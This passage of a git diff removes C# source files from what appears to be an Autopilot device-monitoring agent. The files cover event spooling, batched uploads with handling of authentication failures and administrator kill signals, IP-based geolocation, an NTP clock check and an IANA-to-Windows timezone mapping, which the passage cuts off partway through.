=> x.Sequence) - .Take(maxBatchSize) - .Select(x => x.Path) - .ToList(); - - foreach (var file in files) - { - try - { - var json = File.ReadAllText(file); - var evt = JsonConvert.DeserializeObject(json); - if (evt != null) - { - events.Add(evt); - } - } - catch - { - // Skip corrupted files - } - } - - return events; - } - } - - /// - /// Extracts the sequence number from event filename - /// Filename format: event_{timestamp}_{sequence}.json - /// - private long ExtractSequenceFromFilename(string filePath) - { - try - { - var fileName = Path.GetFileNameWithoutExtension(filePath); - var parts = fileName.Split('_'); - if (parts.Length >= 3) - { - if (long.TryParse(parts[2], out var sequence)) - return sequence; - } - } - catch - { - // Fallback to 0 if parsing fails - } - return 0; - } - - /// - /// Removes events from the spool after successful upload - /// - public virtual void RemoveEvents(List events) - { - lock (_lockObject) - { - foreach (var evt in events) - { - // Reconstruct the exact filename used in Add() — no glob, no cross-boot collision - var fileName = $"event_{evt.Timestamp:yyyyMMddHHmmssfff}_{evt.Sequence}.json"; - var filePath = Path.Combine(_spoolDirectory, fileName); - try - { - if (File.Exists(filePath)) - File.Delete(filePath); - } - catch - { - // Ignore deletion errors — file may already be gone - } - } - } - } - - /// - /// Gets the count of events in the spool - /// - public virtual int GetCount() - { - lock (_lockObject) - { - return Directory.GetFiles(_spoolDirectory, "event_*.json").Length; - } - } - - /// - /// Clears all events from the spool - /// - public void Clear() - { - lock (_lockObject) - { - var files = Directory.GetFiles(_spoolDirectory, "event_*.json"); - foreach (var file in files) - { - try - { - File.Delete(file); - } - catch - { - // Ignore deletion errors - } - } - } - } - - /// - /// Returns the highest sequence number found in spool files, or 0 if empty. - /// Used at startup for crash recovery: ensures new sequences never collide - /// with unsent events still in the spool. - /// - public long GetMaxSequence() - { - lock (_lockObject) - { - long max = 0; - foreach (var file in Directory.GetFiles(_spoolDirectory, "event_*.json")) - { - var seq = ExtractSequenceFromFilename(file); - if (seq > max) max = seq; - } - return max; - } - } - - public void Dispose() - { - if (_fileWatcher != null) - { - _fileWatcher.EnableRaisingEvents = false; - _fileWatcher.Created -= OnFileCreated; - _fileWatcher.Dispose(); - } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/EventUploadOrchestrator.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/EventUploadOrchestrator.cs deleted file mode 100644 index caeced3a..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/EventUploadOrchestrator.cs +++ /dev/null @@ -1,381 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Threading; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Configuration; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Agent.Core.Monitoring.Transport; -using AutopilotMonitor.Agent.Core.Monitoring.Runtime; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Shared.Models; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Transport -{ - /// - /// Manages event upload lifecycle: debouncing, batched upload, auth-failure circuit breaker, - /// and admin signal detection (kill, block, override) from upload responses. - /// - public class EventUploadOrchestrator : IDisposable - { - private readonly AgentConfiguration _configuration; - private readonly AgentLogger _logger; - private readonly EventSpool _spool; - private readonly BackendApiClient _apiClient; - private readonly EmergencyReporter _emergencyReporter; - private readonly DistressReporter _distressReporter; - private readonly CleanupService _cleanupService; - private readonly Action _emitEvent; - private readonly Action> _emitShutdownEvent; - private readonly Func _isTerminalEventSeen; - private ServerActionDispatcher _serverActionDispatcher; - - private readonly Timer _uploadTimer; - private readonly Timer _debounceTimer; - private readonly object _timerLock = new object(); - private readonly SemaphoreSlim _uploadSemaphore = new SemaphoreSlim(1, 1); - - private int _consecutiveAuthFailures; - private DateTime? _firstAuthFailureTime; - private int _consecutiveUploadFailures; - - public EventUploadOrchestrator( - AgentConfiguration configuration, - AgentLogger logger, - EventSpool spool, - BackendApiClient apiClient, - EmergencyReporter emergencyReporter, - DistressReporter distressReporter, - CleanupService cleanupService, - Action emitEvent, - Action> emitShutdownEvent, - Func isTerminalEventSeen) - { - _configuration = configuration; - _logger = logger; - _spool = spool; - _apiClient = apiClient; - _emergencyReporter = emergencyReporter; - _distressReporter = distressReporter; - _cleanupService = cleanupService; - _emitEvent = emitEvent; - _emitShutdownEvent = emitShutdownEvent; - _isTerminalEventSeen = isTerminalEventSeen; - - _debounceTimer = new Timer( - DebounceTimerCallback, - null, - Timeout.Infinite, - Timeout.Infinite - ); - - _uploadTimer = new Timer( - UploadTimerCallback, - null, - Timeout.InfiniteTimeSpan, - Timeout.InfiniteTimeSpan - ); - } - - /// - /// Starts the upload and fallback timers. Call after spool watcher is started. - /// - public void Start() - { - _uploadTimer.Change( - TimeSpan.FromMinutes(1), - TimeSpan.FromMinutes(5) - ); - _logger.Info("EventUploadOrchestrator started (debounce + fallback timers)"); - } - - /// - /// Wires the server-action dispatcher. Called by after the - /// orchestrator is constructed, once all other services exist. Optional — if null, actions - /// in ingest responses are simply ignored. - /// - public void SetServerActionDispatcher(ServerActionDispatcher dispatcher) - { - _serverActionDispatcher = dispatcher; - } - - /// - /// Stops all upload timers. Called during terminal event processing to prevent - /// further automatic uploads while the completion handler drives uploads manually. - /// - public void StopTimers() - { - _uploadTimer?.Change(Timeout.Infinite, Timeout.Infinite); - _debounceTimer?.Change(Timeout.Infinite, Timeout.Infinite); - } - - /// - /// Called when new events are available in the spool (FileSystemWatcher detected new files). - /// Uses debouncing to batch events before uploading. - /// - public void OnEventsAvailable(object sender, EventArgs e) - { - _logger.Debug("FileSystemWatcher detected new events, starting/resetting debounce timer"); - - lock (_timerLock) - { - _debounceTimer.Change( - TimeSpan.FromSeconds(_configuration.UploadIntervalSeconds), - Timeout.InfiniteTimeSpan - ); - } - } - - private void DebounceTimerCallback(object state) - { - _logger.Debug("Debounce timer expired, uploading batched events"); - Task.Run(() => UploadEventsAsync()); - } - - private void UploadTimerCallback(object state) - { - Task.Run(() => UploadEventsAsync()); - } - - public async Task UploadEventsAsync() - { - if (!_uploadSemaphore.Wait(0)) - { - _logger.Verbose("UploadEventsAsync: skipped — concurrent upload already in flight"); - return; - } - - try - { - var events = _spool.GetBatch(_configuration.MaxBatchSize); - - if (events.Count == 0) - { - _logger.Debug("No events to upload"); - return; - } - - var request = new IngestEventsRequest - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - Events = events - }; - - var response = await _apiClient.IngestEventsAsync(request); - - // DeviceBlocked is intentionally NOT synthesized into a ServerAction: it's a - // non-terminal quarantine (UnblockAt can auto-resume the session later). Treat it - // as a straight "stop uploads for now" signal. - if (response.DeviceBlocked) - { - var unblockMsg = response.UnblockAt.HasValue - ? $" until {response.UnblockAt.Value:yyyy-MM-dd HH:mm:ss} UTC" - : string.Empty; - _logger.Warning($"=== DEVICE BLOCKED by administrator{unblockMsg}. Stopping all uploads for this session. ==="); - - StopTimers(); - return; - } - - // Synthesize legacy kill + admin-override signals into ServerActions so the whole - // "server told us to stop" surface runs through a single shutdown handler. This - // removes three divergent code paths (kill / admin / terminate) and guarantees - // every terminal path respects SelfDestructOnComplete — no more zombie agents - // after the operator clicks Mark-Failed in the portal. - List synthesized = null; - - if (response.DeviceKillSignal) - { - synthesized = new List - { - new ServerAction - { - Type = ServerActionTypes.TerminateSession, - Reason = "DeviceKillSignal from administrator", - QueuedAt = DateTime.UtcNow, - Params = new Dictionary - { - // Kill overrides everything: force self-destruct even if local config says otherwise, - // and no grace period — the operator decided this device must go NOW. - { "forceSelfDestruct", "true" }, - { "gracePeriodSeconds", "0" }, - { "origin", "kill_signal" } - } - } - }; - } - else if (!string.IsNullOrEmpty(response.AdminAction) && !_isTerminalEventSeen()) - { - // Admin marked the session terminal from the portal (Mark-Failed / Mark-Succeeded). - // Soft shutdown: config decides whether to self-destruct — but in Prod - // SelfDestructOnComplete=true, so no zombies. - synthesized = new List - { - new ServerAction - { - Type = ServerActionTypes.TerminateSession, - Reason = $"Admin marked session as {response.AdminAction}", - QueuedAt = DateTime.UtcNow, - Params = new Dictionary - { - { "adminOutcome", response.AdminAction }, - { "gracePeriodSeconds", "0" }, - { "origin", "admin_action" } - } - } - }; - } - - // Merge synthesized signals with real server actions, then dispatch once. - // Order: synthesized first (they're the highest-priority stop signals). - if (synthesized != null || (response.Actions != null && response.Actions.Count > 0)) - { - var batch = synthesized ?? new List(); - if (response.Actions != null) batch.AddRange(response.Actions); - - if (_serverActionDispatcher != null) - { - try - { - await _serverActionDispatcher.DispatchAsync(batch); - } - catch (Exception ex) - { - _logger.Error($"ServerActionDispatcher.DispatchAsync threw (batch aborted)", ex); - } - } - else if (synthesized != null) - { - // Defensive: if a synthesized kill/admin signal arrives before the dispatcher - // was wired, fall back to a bare-minimum shutdown so we don't leave a zombie. - _logger.Error("Kill/Admin signal received but no dispatcher wired — forcing exit"); - StopTimers(); - _configuration.SelfDestructOnComplete = true; - _cleanupService.ExecuteSelfDestruct(); - ExitProcess(1); - } - return; - } - - if (response.Success) - { - _spool.RemoveEvents(events); - _logger.Info($"Uploaded {response.EventsProcessed} events"); - - if (_consecutiveAuthFailures > 0 || _consecutiveUploadFailures > 0) - _logger.Info($"Upload success — resetting failure counters (auth={_consecutiveAuthFailures}, upload={_consecutiveUploadFailures})"); - _consecutiveAuthFailures = 0; - _firstAuthFailureTime = null; - _consecutiveUploadFailures = 0; - } - else - { - _logger.Warning($"Upload failed: {response.Message}"); - } - } - catch (BackendAuthException ex) - { - _logger.Error($"Upload authentication failed: {ex.Message}"); - HandleAuthFailure(ex.StatusCode); - } - catch (Exception ex) - { - _consecutiveUploadFailures++; - _logger.Error("Error uploading events", ex); - - _logger.Info($"Upload failure #{_consecutiveUploadFailures}: {ex.Message}"); - - if (_consecutiveUploadFailures == EmergencyReporter.ConsecutiveFailureThreshold) - { - _ = _emergencyReporter.TrySendAsync( - AgentErrorType.IngestFailed, - ex.Message, - httpStatusCode: null, - sequenceNumber: 0); - } - } - finally - { - _uploadSemaphore.Release(); - } - } - - /// - /// Handles an authentication failure by incrementing the counter and shutting down - /// the agent if the configured threshold is reached. Called from upload path and - /// session registration path. - /// - public void HandleAuthFailure(int httpStatusCode = 0) - { - _consecutiveAuthFailures++; - - if (_firstAuthFailureTime == null) - _firstAuthFailureTime = DateTime.UtcNow; - - if (_consecutiveAuthFailures == 1 && _distressReporter != null) - { - var distressType = httpStatusCode == 401 - ? DistressErrorType.AuthCertificateRejected - : DistressErrorType.DeviceNotRegistered; - - _ = _distressReporter.TrySendAsync(distressType, - $"Backend returned {httpStatusCode} during event upload", - httpStatusCode: httpStatusCode); - } - - _logger.Warning($"Authentication failure {_consecutiveAuthFailures}" + - (_configuration.MaxAuthFailures > 0 ? $"/{_configuration.MaxAuthFailures}" : "") + - $" (first failure at {_firstAuthFailureTime.Value:HH:mm:ss})"); - - if (_configuration.MaxAuthFailures > 0 && _consecutiveAuthFailures >= _configuration.MaxAuthFailures) - { - _logger.Error($"=== AGENT SHUTDOWN: {_consecutiveAuthFailures} consecutive authentication failures (401/403). " + - "The device is not authorized to send data to Autopilot Monitor. " + - "Check client certificate and Autopilot device validation in your tenant configuration. ==="); - - _emitShutdownEvent( - "auth_failure", - $"Agent terminated: {_consecutiveAuthFailures} consecutive authentication failures exceeded threshold ({_configuration.MaxAuthFailures})", - new Dictionary - { - { "consecutiveFailures", _consecutiveAuthFailures }, - { "shutdownTrigger", "max_attempts" }, - { "maxAuthFailures", _configuration.MaxAuthFailures } - }); - ExitProcess(1); - } - - if (_configuration.AuthFailureTimeoutMinutes > 0 && _firstAuthFailureTime.HasValue) - { - var elapsed = DateTime.UtcNow - _firstAuthFailureTime.Value; - if (elapsed.TotalMinutes >= _configuration.AuthFailureTimeoutMinutes) - { - _logger.Error($"=== AGENT SHUTDOWN: Authentication failures persisted for {elapsed.TotalMinutes:F0} minutes " + - $"(timeout: {_configuration.AuthFailureTimeoutMinutes} min). " + - "The device is not authorized to send data to Autopilot Monitor. " + - "Check client certificate and Autopilot device validation in your tenant configuration. ==="); - - _emitShutdownEvent( - "auth_failure", - $"Agent terminated: authentication failures persisted for {elapsed.TotalMinutes:F0} minutes (timeout: {_configuration.AuthFailureTimeoutMinutes} min)", - new Dictionary - { - { "consecutiveFailures", _consecutiveAuthFailures }, - { "shutdownTrigger", "timeout" }, - { "authFailureTimeoutMinutes", _configuration.AuthFailureTimeoutMinutes }, - { "elapsedMinutes", Math.Round(elapsed.TotalMinutes, 1) } - }); - ExitProcess(1); - } - } - } - - internal virtual void ExitProcess(int code) => Environment.Exit(code); - - public void Dispose() - { - _uploadTimer?.Dispose(); - _debounceTimer?.Dispose(); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/GeoLocationService.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/GeoLocationService.cs deleted file mode 100644 index 14401dcc..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/GeoLocationService.cs +++ /dev/null @@ -1,194 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Net.Http; -using System.Threading; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Logging; -using Newtonsoft.Json.Linq; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Transport -{ - public class GeoLocationResult - { - public string Country { get; set; } - public string Region { get; set; } - public string City { get; set; } - public string Loc { get; set; } - public string Timezone { get; set; } - public string Source { get; set; } - - public Dictionary ToDictionary() - { - return new Dictionary - { - { "country", Country }, - { "region", Region }, - { "city", City }, - { "loc", Loc }, - { "timezone", Timezone }, - { "source", Source } - }; - } - } - - public class GeoLocationAttemptResult - { - public GeoLocationResult Location { get; set; } - public string PrimaryError { get; set; } - public string PrimaryRetryError { get; set; } - public string FallbackError { get; set; } - } - - public static class GeoLocationService - { - private static readonly TimeSpan RequestTimeout = TimeSpan.FromSeconds(5); - private static readonly TimeSpan RetryDelay = TimeSpan.FromSeconds(2); - - // Static HttpClient to avoid socket exhaustion from repeated short-lived instances. - // HttpClient is designed to be reused across requests. - private static readonly HttpClient SharedHttpClient = CreateSharedHttpClient(); - - private static HttpClient CreateSharedHttpClient() - { - var client = new HttpClient { Timeout = RequestTimeout }; - client.DefaultRequestHeaders.Add("Accept", "application/json"); - return client; - } - - public static async Task GetLocationAsync(AgentLogger logger) - { - var attempt = new GeoLocationAttemptResult(); - - // Try ipinfo.io first - var (result, error) = await TryIpInfo(logger); - if (result != null) - { - attempt.Location = result; - return attempt; - } - attempt.PrimaryError = error; - - // Retry ipinfo.io once after a short delay (network may still be initializing during Autopilot) - logger?.Info($"GeoLocation: Retrying ipinfo.io after {RetryDelay.TotalSeconds}s..."); - await Task.Delay(RetryDelay); - - (result, error) = await TryIpInfo(logger); - if (result != null) - { - attempt.Location = result; - return attempt; - } - attempt.PrimaryRetryError = error; - - // Fallback to ifconfig.co - (result, error) = await TryIfConfigCo(logger); - if (result != null) - { - attempt.Location = result; - return attempt; - } - attempt.FallbackError = error; - - logger?.Warning("GeoLocation: All providers failed, skipping location event"); - return attempt; - } - - private static async Task<(GeoLocationResult result, string error)> TryIpInfo(AgentLogger logger) - { - try - { - logger?.Info("GeoLocation: Querying ipinfo.io..."); - - using (var httpResponse = await SharedHttpClient.GetAsync("https://ipinfo.io/json")) - { - if (!httpResponse.IsSuccessStatusCode) - { - var error = $"HTTP {(int)httpResponse.StatusCode} ({httpResponse.ReasonPhrase})"; - logger?.Warning($"GeoLocation: ipinfo.io failed: {error}"); - return (null, error); - } - - var response = await httpResponse.Content.ReadAsStringAsync(); - var json = JObject.Parse(response); - - var result = new GeoLocationResult - { - Country = json.Value("country"), - Region = json.Value("region"), - City = json.Value("city"), - Loc = json.Value("loc"), - Timezone = json.Value("timezone"), - Source = "ipinfo" - }; - - logger?.Info($"GeoLocation: ipinfo.io returned {result.City}, {result.Region}, {result.Country}"); - return (result, null); - } - } - catch (TaskCanceledException) - { - var error = "Timeout (5s)"; - logger?.Warning($"GeoLocation: ipinfo.io failed: {error}"); - return (null, error); - } - catch (Exception ex) - { - var error = ex.Message; - logger?.Warning($"GeoLocation: ipinfo.io failed: {error}"); - return (null, error); - } - } - - private static async Task<(GeoLocationResult result, string error)> TryIfConfigCo(AgentLogger logger) - { - try - { - logger?.Info("GeoLocation: Falling back to ifconfig.co..."); - - using (var httpResponse = await SharedHttpClient.GetAsync("https://ifconfig.co/json")) - { - if (!httpResponse.IsSuccessStatusCode) - { - var error = $"HTTP {(int)httpResponse.StatusCode} ({httpResponse.ReasonPhrase})"; - logger?.Warning($"GeoLocation: ifconfig.co failed: {error}"); - return (null, error); - } - - var response = await httpResponse.Content.ReadAsStringAsync(); - var json = JObject.Parse(response); - - var latitude = json.Value("latitude") ?? ""; - var longitude = json.Value("longitude") ?? ""; - var loc = !string.IsNullOrEmpty(latitude) && !string.IsNullOrEmpty(longitude) - ? $"{latitude},{longitude}" - : ""; - - var result = new GeoLocationResult - { - Country = json.Value("country_iso"), - Region = json.Value("region_name"), - City = json.Value("city"), - Loc = loc, - Timezone = json.Value("time_zone"), - Source = "ifconfig.co" - }; - - logger?.Info($"GeoLocation: ifconfig.co returned {result.City}, {result.Region}, {result.Country}"); - return (result, null); - } - } - catch (TaskCanceledException) - { - var error = "Timeout (5s)"; - logger?.Warning($"GeoLocation: ifconfig.co failed: {error}"); - return (null, error); - } - catch (Exception ex) - { - var error = ex.Message; - logger?.Warning($"GeoLocation: ifconfig.co failed: {error}"); - return (null, error); - } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/NetworkMetrics.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/NetworkMetrics.cs deleted file mode 100644 index d17e372a..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/NetworkMetrics.cs +++ /dev/null @@ -1,102 +0,0 @@ -using System.Threading; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Transport -{ - /// - /// Thread-safe counters for HTTP request/response tracking. - /// Incremented by BackendApiClient on every request, read by AgentSelfMetricsCollector. - /// All operations are lock-free (Interlocked). - /// - public class NetworkMetrics - { - private long _requestCount; - private long _failureCount; - private long _totalBytesUp; - private long _totalBytesDown; - private long _totalLatencyMs; - - public void RecordRequest(long bytesUp, long bytesDown, long latencyMs, bool failed) - { - Interlocked.Increment(ref _requestCount); - Interlocked.Add(ref _totalBytesUp, bytesUp); - Interlocked.Add(ref _totalBytesDown, bytesDown); - Interlocked.Add(ref _totalLatencyMs, latencyMs); - if (failed) - Interlocked.Increment(ref _failureCount); - } - - /// - /// Returns an immutable snapshot of all counters for delta calculation. - /// - public NetworkMetricsSnapshot GetSnapshot() - { - return new NetworkMetricsSnapshot( - Interlocked.Read(ref _requestCount), - Interlocked.Read(ref _failureCount), - Interlocked.Read(ref _totalBytesUp), - Interlocked.Read(ref _totalBytesDown), - Interlocked.Read(ref _totalLatencyMs) - ); - } - } - - /// - /// Immutable snapshot of network counters at a point in time. - /// Used for delta calculation between two collection intervals. - /// - public class NetworkMetricsSnapshot - { - public long RequestCount { get; } - public long FailureCount { get; } - public long TotalBytesUp { get; } - public long TotalBytesDown { get; } - public long TotalLatencyMs { get; } - - public NetworkMetricsSnapshot(long requestCount, long failureCount, - long totalBytesUp, long totalBytesDown, long totalLatencyMs) - { - RequestCount = requestCount; - FailureCount = failureCount; - TotalBytesUp = totalBytesUp; - TotalBytesDown = totalBytesDown; - TotalLatencyMs = totalLatencyMs; - } - - /// - /// Computes the delta between this snapshot and a previous one. - /// - public NetworkMetricsDelta DeltaFrom(NetworkMetricsSnapshot previous) - { - var requests = RequestCount - previous.RequestCount; - var failures = FailureCount - previous.FailureCount; - var bytesUp = TotalBytesUp - previous.TotalBytesUp; - var bytesDown = TotalBytesDown - previous.TotalBytesDown; - var latencyDelta = TotalLatencyMs - previous.TotalLatencyMs; - var avgLatency = requests > 0 ? (double)latencyDelta / requests : 0; - - return new NetworkMetricsDelta(requests, failures, bytesUp, bytesDown, avgLatency); - } - } - - /// - /// Computed delta values between two snapshots — ready for emission as event data. - /// - public class NetworkMetricsDelta - { - public long Requests { get; } - public long Failures { get; } - public long BytesUp { get; } - public long BytesDown { get; } - public double AvgLatencyMs { get; } - - public NetworkMetricsDelta(long requests, long failures, - long bytesUp, long bytesDown, double avgLatencyMs) - { - Requests = requests; - Failures = failures; - BytesUp = bytesUp; - BytesDown = bytesDown; - AvgLatencyMs = avgLatencyMs; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/NtpTimeCheckService.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/NtpTimeCheckService.cs deleted file mode 100644 index 8b02579c..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/NtpTimeCheckService.cs +++ /dev/null @@ -1,105 +0,0 @@ -using System; -using System.Net; -using System.Net.Sockets; -using AutopilotMonitor.Agent.Core.Logging; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Transport -{ - public class NtpCheckResult - { - public bool Success { get; set; } - public double OffsetSeconds { get; set; } - public string NtpServer { get; set; } - public string Error { get; set; } - public DateTime? NtpTime { get; set; } - public DateTime? LocalTime { get; set; } - } - - public static class NtpTimeCheckService - { - private static readonly int ReceiveTimeoutMs = 3000; - - /// - /// Queries an NTP server and returns the time offset between local clock and NTP time. - /// Based on NTP v3 client mode (LI=0, VN=3, Mode=3). - /// - public static NtpCheckResult CheckTime(string ntpServer, AgentLogger logger) - { - var result = new NtpCheckResult { NtpServer = ntpServer }; - - try - { - logger.Info($"NTP time check: querying {ntpServer}"); - - // NTP request packet: 48 bytes, first byte = 0x1B (LI=0, VN=3, Mode=3) - var ntpData = new byte[48]; - ntpData[0] = 0x1B; - - var addresses = Dns.GetHostEntry(ntpServer).AddressList; - if (addresses.Length == 0) - { - result.Error = $"DNS resolution returned no addresses for {ntpServer}"; - logger.Warning($"NTP time check failed: {result.Error}"); - return result; - } - - var ipEndPoint = new IPEndPoint(addresses[0], 123); - using (var socket = new Socket(addresses[0].AddressFamily, SocketType.Dgram, ProtocolType.Udp)) - { - socket.ReceiveTimeout = ReceiveTimeoutMs; - socket.SendTimeout = ReceiveTimeoutMs; - socket.Connect(ipEndPoint); - socket.Send(ntpData); - var received = socket.Receive(ntpData); - - // Validate NTP response: must be at least 48 bytes - if (received < 48) - { - result.Error = $"Invalid NTP response: received {received} bytes (expected 48)"; - logger.Warning($"NTP time check failed: {result.Error}"); - return result; - } - - // Check Leap Indicator (bits 6-7 of first byte): value 3 means unsynchronized - var leapIndicator = (ntpData[0] >> 6) & 3; - if (leapIndicator == 3) - { - result.Error = "NTP server is unsynchronized (Leap Indicator = 3)"; - logger.Warning($"NTP time check failed: {result.Error}"); - return result; - } - } - - // Parse transmit timestamp from bytes 40-47 (NTP epoch: 1900-01-01) - ulong intPart = (ulong)ntpData[40] << 24 - | (ulong)ntpData[41] << 16 - | (ulong)ntpData[42] << 8 - | (ulong)ntpData[43]; - - ulong fractPart = (ulong)ntpData[44] << 24 - | (ulong)ntpData[45] << 16 - | (ulong)ntpData[46] << 8 - | (ulong)ntpData[47]; - - var milliseconds = (intPart * 1000) + ((fractPart * 1000) / 0x100000000L); - var ntpTime = new DateTime(1900, 1, 1, 0, 0, 0, DateTimeKind.Utc).AddMilliseconds(milliseconds); - var localTime = DateTime.UtcNow; - var offset = ntpTime.Subtract(localTime); - - result.Success = true; - result.NtpTime = ntpTime; - result.LocalTime = localTime; - result.OffsetSeconds = offset.TotalSeconds; - - logger.Info($"NTP time check: offset={offset.TotalSeconds:F2}s (NTP={ntpTime:o}, Local={localTime:o})"); - return result; - } - catch (Exception ex) - { - result.Error = ex.Message; - logger.Warning($"NTP time check failed for {ntpServer}: {ex.Message}"); - return result; - } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/TimezoneService.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/TimezoneService.cs deleted file mode 100644 index 8ae131d1..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/TimezoneService.cs +++ /dev/null @@ -1,220 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Agent.Core.Security; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Transport -{ - public class TimezoneSetResult - { - public bool Success { get; set; } - public string IanaTimezone { get; set; } - public string WindowsTimezoneId { get; set; } - public string PreviousTimezone { get; set; } - public string Error { get; set; } - } - - public static class TimezoneService - { - /// - /// Attempts to set the Windows timezone based on an IANA timezone identifier. - /// Uses tzutil /s to apply the timezone (works from SYSTEM context). - /// - public static TimezoneSetResult TrySetTimezone(string ianaTimezone, AgentLogger logger) - { - var result = new TimezoneSetResult { IanaTimezone = ianaTimezone }; - - try - { - // Map IANA timezone to Windows timezone ID - if (!IanaToWindowsMap.TryGetValue(ianaTimezone, out var windowsId)) - { - result.Error = $"No Windows timezone mapping found for IANA timezone '{ianaTimezone}'"; - logger.Warning($"Timezone auto-set: {result.Error}"); - return result; - } - - result.WindowsTimezoneId = windowsId; - result.PreviousTimezone = TimeZoneInfo.Local.Id; - - // Skip if already set to the target timezone - if (string.Equals(result.PreviousTimezone, windowsId, StringComparison.OrdinalIgnoreCase)) - { - result.Success = true; - logger.Info($"Timezone auto-set: already set to {windowsId} (IANA: {ianaTimezone})"); - return result; - } - - // Execute tzutil /s to set the timezone - logger.Info($"Timezone auto-set: setting timezone to {windowsId} (IANA: {ianaTimezone}, previous: {result.PreviousTimezone})"); - - var psi = new ProcessStartInfo - { - FileName = SystemPaths.TzUtil, - Arguments = $"/s \"{windowsId}\"", - UseShellExecute = false, - RedirectStandardOutput = true, - RedirectStandardError = true, - CreateNoWindow = true - }; - - using (var process = Process.Start(psi)) - { - var stderr = process.StandardError.ReadToEnd(); - process.WaitForExit(10000); // 10s timeout - - if (process.ExitCode != 0) - { - result.Error = $"tzutil exited with code {process.ExitCode}: {stderr.Trim()}"; - logger.Warning($"Timezone auto-set failed: {result.Error}"); - return result; - } - } - - result.Success = true; - logger.Info($"Timezone auto-set: successfully set to {windowsId}"); - return result; - } - catch (Exception ex) - { - result.Error = ex.Message; - logger.Warning($"Timezone auto-set failed: {ex.Message}"); - return result; - } - } - - /// - /// IANA timezone to Windows timezone ID mapping. - /// Sourced from Unicode CLDR / IANA timezone database. - /// Covers all major regions and practical timezones. - /// - private static readonly Dictionary IanaToWindowsMap = new Dictionary(StringComparer.OrdinalIgnoreCase) - { - // UTC - { "Etc/UTC", "UTC" }, - { "Etc/GMT", "UTC" }, - { "UTC", "UTC" }, - - // Europe - { "Europe/London", "GMT Standard Time" }, - { "Europe/Dublin", "GMT Standard Time" }, - { "Europe/Lisbon", "GMT Standard Time" }, - { "Europe/Berlin", "W. Europe Standard Time" }, - { "Europe/Amsterdam", "W. Europe Standard Time" }, - { "Europe/Zurich", "W. Europe Standard Time" }, - { "Europe/Vienna", "W. Europe Standard Time" }, - { "Europe/Rome", "W. Europe Standard Time" }, - { "Europe/Stockholm", "W. Europe Standard Time" }, - { "Europe/Oslo", "W. Europe Standard Time" }, - { "Europe/Copenhagen", "Romance Standard Time" }, - { "Europe/Paris", "Romance Standard Time" }, - { "Europe/Brussels", "Romance Standard Time" }, - { "Europe/Madrid", "Romance Standard Time" }, - { "Europe/Warsaw", "Central European Standard Time" }, - { "Europe/Prague", "Central Europe Standard Time" }, - { "Europe/Budapest", "Central Europe Standard Time" }, - { "Europe/Belgrade", "Central Europe Standard Time" }, - { "Europe/Bratislava", "Central Europe Standard Time" }, - { "Europe/Ljubljana", "Central Europe Standard Time" }, - { "Europe/Zagreb", "Central Europe Standard Time" }, - { "Europe/Athens", "GTB Standard Time" }, - { "Europe/Bucharest", "GTB Standard Time" }, - { "Europe/Helsinki", "FLE Standard Time" }, - { "Europe/Kiev", "FLE Standard Time" }, - { "Europe/Kyiv", "FLE Standard Time" }, - { "Europe/Riga", "FLE Standard Time" }, - { "Europe/Sofia", "FLE Standard Time" }, - { "Europe/Tallinn", "FLE Standard Time" }, - { "Europe/Vilnius", "FLE Standard Time" }, - { "Europe/Istanbul", "Turkey Standard Time" }, - { "Europe/Moscow", "Russian Standard Time" }, - { "Europe/Minsk", "Belarus Standard Time" }, - { "Europe/Samara", "Russia Time Zone 3" }, - - // Americas - { "America/New_York", "Eastern Standard Time" }, - { "America/Detroit", "Eastern Standard Time" }, - { "America/Toronto", "Eastern Standard Time" }, - { "America/Chicago", "Central Standard Time" }, - { "America/Winnipeg", "Central Standard Time" }, - { "America/Denver", "Mountain Standard Time" }, - { "America/Edmonton", "Mountain Standard Time" }, - { "America/Phoenix", "US Mountain Standard Time" }, - { "America/Los_Angeles", "Pacific Standard Time" }, - { "America/Vancouver", "Pacific Standard Time" }, - { "America/Anchorage", "Alaskan Standard Time" }, - { "Pacific/Honolulu", "Hawaiian Standard Time" }, - { "America/Halifax", "Atlantic Standard Time" }, - { "America/St_Johns", "Newfoundland Standard Time" }, - { "America/Mexico_City", "Central Standard Time (Mexico)" }, - { "America/Tijuana", "Pacific Standard Time (Mexico)" }, - { "America/Bogota", "SA Pacific Standard Time" }, - { "America/Lima", "SA Pacific Standard Time" }, - { "America/Santiago", "Pacific SA Standard Time" }, - { "America/Buenos_Aires", "Argentina Standard Time" }, - { "America/Argentina/Buenos_Aires", "Argentina Standard Time" }, - { "America/Sao_Paulo", "E. South America Standard Time" }, - { "America/Caracas", "Venezuela Standard Time" }, - - // Asia - { "Asia/Tokyo", "Tokyo Standard Time" }, - { "Asia/Seoul", "Korea Standard Time" }, - { "Asia/Shanghai", "China Standard Time" }, - { "Asia/Hong_Kong", "China 